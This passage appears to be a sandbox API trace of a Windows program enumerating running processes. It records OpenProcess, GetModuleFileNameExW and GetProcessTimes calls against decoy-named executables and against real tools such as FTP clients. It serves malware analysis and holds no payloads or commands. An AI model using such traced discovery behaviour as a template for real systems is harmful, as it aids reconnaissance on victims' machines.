[0238.534] CloseHandle (hObject=0x100) returned 1 [0238.534] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0238.535] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3ac) returned 0x100 [0238.535] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0238.535] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" | out: _Dest="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe") returned="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" [0238.535] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.535] CloseHandle (hObject=0x100) returned 1 [0238.535] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0238.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x888) returned 0x100 [0238.536] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="") returned 0x0 [0238.538] QueryFullProcessImageNameW (in: hProcess=0x100, dwFlags=0x0, lpExeName=0x178b1c, lpdwSize=0x179188 | out: lpExeName="C:\\Windows\\System32\\sppsvc.exe", lpdwSize=0x179188) returned 1 [0238.538] wcscpy (in: _Dest=0x178f58, _Source="C:\\Windows\\System32\\sppsvc.exe" | out: _Dest="C:\\Windows\\System32\\sppsvc.exe") returned="C:\\Windows\\System32\\sppsvc.exe" [0238.538] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.538] CloseHandle (hObject=0x100) returned 1 [0238.538] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="linegood.exe")) returned 1 [0238.538] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ac) returned 0x100 [0238.539] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" (normalized: "c:\\program files (x86)\\windows defender\\linegood.exe")) returned 0x34 [0238.539] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\linegood.exe") returned="C:\\Program Files (x86)\\Windows Defender\\linegood.exe" [0238.539] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.539] CloseHandle (hObject=0x100) returned 1 [0238.539] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="no_nothing.exe")) returned 1 [0238.540] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0x100 [0238.540] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" (normalized: "c:\\program files (x86)\\windows defender\\no_nothing.exe")) returned 0x36 [0238.540] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe") returned="C:\\Program Files (x86)\\Windows Defender\\no_nothing.exe" [0238.540] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.540] CloseHandle (hObject=0x100) returned 1 [0238.540] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="form remember evening.exe")) returned 1 [0238.541] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9bc) returned 0x100 [0238.541] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\DVD Maker\\form remember evening.exe" (normalized: "c:\\program files\\dvd maker\\form remember evening.exe")) returned 0x34 [0238.541] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\DVD Maker\\form remember evening.exe" | out: _Dest="C:\\Program Files\\DVD Maker\\form remember evening.exe") returned="C:\\Program Files\\DVD Maker\\form remember evening.exe" [0238.541] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.541] CloseHandle (hObject=0x100) returned 1 [0238.541] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="study-reality-mission.exe")) returned 1 [0238.542] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9c8) returned 0x100 [0238.542] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\study-reality-mission.exe")) returned 0x45 [0238.542] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\study-reality-mission.exe" [0238.542] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.542] CloseHandle (hObject=0x100) returned 1 [0238.543] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="field.exe")) returned 1 [0238.543] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0x100 [0238.543] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" (normalized: "c:\\program files (x86)\\windows portable devices\\field.exe")) returned 0x39 [0238.544] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe") returned="C:\\Program Files (x86)\\Windows Portable Devices\\field.exe" [0238.544] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.544] CloseHandle (hObject=0x100) returned 1 [0238.544] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="apply-wear-benefit.exe")) returned 1 [0238.544] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9e0) returned 0x100 [0238.544] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" (normalized: "c:\\program files (x86)\\windows defender\\apply-wear-benefit.exe")) returned 0x3e [0238.545] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe") returned="C:\\Program Files (x86)\\Windows Defender\\apply-wear-benefit.exe" [0238.545] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.545] CloseHandle (hObject=0x100) returned 1 [0238.545] malloc (_Size=0x8d00) returned 0x1ea46d0 [0238.545] free (_Block=0x1ea0048) [0238.545] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="law-stay.exe")) returned 1 [0238.546] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9ec) returned 0x100 [0238.546] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\law-stay.exe" (normalized: "c:\\program files\\common files\\law-stay.exe")) returned 0x2a [0238.546] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Common Files\\law-stay.exe" | out: _Dest="C:\\Program Files\\Common Files\\law-stay.exe") returned="C:\\Program Files\\Common Files\\law-stay.exe" [0238.546] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.546] CloseHandle (hObject=0x100) returned 1 [0238.546] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="wife_heat.exe")) returned 1 [0238.902] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9f8) returned 0x100 [0238.902] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Media Player\\wife_heat.exe" (normalized: "c:\\program files\\windows media player\\wife_heat.exe")) returned 0x33 [0238.903] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Media Player\\wife_heat.exe" | out: _Dest="C:\\Program Files\\Windows Media Player\\wife_heat.exe") returned="C:\\Program Files\\Windows Media Player\\wife_heat.exe" [0238.903] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.903] CloseHandle (hObject=0x100) returned 1 [0238.903] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="interview nothing work.exe")) returned 1 [0238.904] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa04) returned 0x100 [0238.904] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" (normalized: "c:\\program files\\windowspowershell\\interview nothing work.exe")) returned 0x3d [0238.904] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" | out: _Dest="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe") returned="C:\\Program Files\\WindowsPowerShell\\interview nothing work.exe" [0238.904] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.904] CloseHandle (hObject=0x100) returned 1 [0238.904] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="your hit sense.exe")) returned 1 [0238.905] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa10) returned 0x100 [0238.905] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Journal\\your hit sense.exe" (normalized: "c:\\program files\\windows journal\\your hit sense.exe")) returned 0x33 [0238.906] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Journal\\your hit sense.exe" | out: _Dest="C:\\Program Files\\Windows Journal\\your hit sense.exe") returned="C:\\Program Files\\Windows Journal\\your hit sense.exe" [0238.906] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.906] CloseHandle (hObject=0x100) returned 1 [0238.906] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="leftparticularly.exe")) returned 1 [0238.907] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa1c) returned 0x100 [0238.907] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" (normalized: "c:\\program files (x86)\\windows photo viewer\\leftparticularly.exe")) returned 0x40 [0238.907] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe") returned="C:\\Program Files (x86)\\Windows Photo Viewer\\leftparticularly.exe" [0238.907] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.907] CloseHandle (hObject=0x100) returned 1 [0238.908] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="must-issue.exe")) returned 1 [0238.908] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa28) returned 0x100 [0238.908] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Mail\\must-issue.exe" (normalized: "c:\\program files\\windows mail\\must-issue.exe")) returned 0x2c [0238.909] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Mail\\must-issue.exe" | out: _Dest="C:\\Program Files\\Windows Mail\\must-issue.exe") returned="C:\\Program Files\\Windows Mail\\must-issue.exe" [0238.909] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.909] CloseHandle (hObject=0x100) returned 1 [0238.909] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="call_order_arrive.exe")) returned 1 [0238.910] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa34) returned 0x100 [0238.910] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" (normalized: "c:\\program files (x86)\\windows nt\\call_order_arrive.exe")) returned 0x37 [0238.910] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" | out: _Dest="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe") returned="C:\\Program Files (x86)\\Windows NT\\call_order_arrive.exe" [0238.910] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.910] CloseHandle (hObject=0x100) returned 1 [0238.910] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="natural_reach_decide.exe")) returned 1 [0238.911] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa40) returned 0x100 [0238.911] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" (normalized: "c:\\program files\\windows sidebar\\natural_reach_decide.exe")) returned 0x39 [0238.912] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" | out: _Dest="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe") returned="C:\\Program Files\\Windows Sidebar\\natural_reach_decide.exe" [0238.912] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.912] CloseHandle (hObject=0x100) returned 1 [0238.912] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="another great.exe")) returned 1 [0238.913] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa4c) returned 0x100 [0238.913] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" (normalized: "c:\\program files (x86)\\reference assemblies\\another great.exe")) returned 0x3d [0238.913] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe") returned="C:\\Program Files (x86)\\Reference Assemblies\\another great.exe" [0238.913] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.913] CloseHandle (hObject=0x100) returned 1 [0238.914] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bill order.exe")) returned 1 [0238.914] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa58) returned 0x100 [0238.914] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\bill order.exe")) returned 0x35 [0238.915] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" | out: _Dest="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe") returned="C:\\Program Files (x86)\\Windows Sidebar\\bill order.exe" [0238.915] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.915] CloseHandle (hObject=0x100) returned 1 [0238.915] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="large price.exe")) returned 1 [0238.916] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0x100 [0238.916] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files\\Reference Assemblies\\large price.exe" (normalized: "c:\\program files\\reference assemblies\\large price.exe")) returned 0x35 [0238.916] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files\\Reference Assemblies\\large price.exe" | out: _Dest="C:\\Program Files\\Reference Assemblies\\large price.exe") returned="C:\\Program Files\\Reference Assemblies\\large price.exe" [0238.916] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.916] CloseHandle (hObject=0x100) returned 1 [0238.916] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="senior.exe")) returned 1 [0238.917] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa6c) returned 0x100 [0238.917] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\senior.exe")) returned 0x2f [0238.918] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\senior.exe" [0238.918] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.918] CloseHandle (hObject=0x100) returned 1 [0238.918] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0238.919] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x768) returned 0x100 [0238.919] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\barca.exe")) returned 0x2e [0238.920] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" | out: _Dest="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe") returned="C:\\Program Files (x86)\\Microsoft.NET\\barca.exe" [0238.920] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.920] CloseHandle (hObject=0x100) returned 1 [0238.920] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0238.920] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x89c) returned 0x100 [0238.920] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" (normalized: "c:\\program files (x86)\\windowspowershell\\bitkinex.exe")) returned 0x35 [0238.921] wcscpy (in: _Dest=0x178f58, _Source="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" | out: _Dest="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe") returned="C:\\Program Files (x86)\\WindowsPowerShell\\bitkinex.exe" [0238.921] GetProcessTimes (in: hProcess=0x100, lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180 | out: lpCreationTime=0x179168, lpExitTime=0x179170, lpKernelTime=0x179178, lpUserTime=0x179180) returned 1 [0238.921] CloseHandle (hObject=0x100) returned 1 [0238.921] Process32NextW (in: hSnapshot=0xfc, lppe=0x178d28 | out: lppe=0x178d28*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0238.922] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8b8) returned 0x100 [0238.922] GetModuleFileNameExW (in: hProcess=0x100, hModule=0x0, lpFilename=0x178b1c, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Reference Assemblies\\coreftp.exe" (normalized: 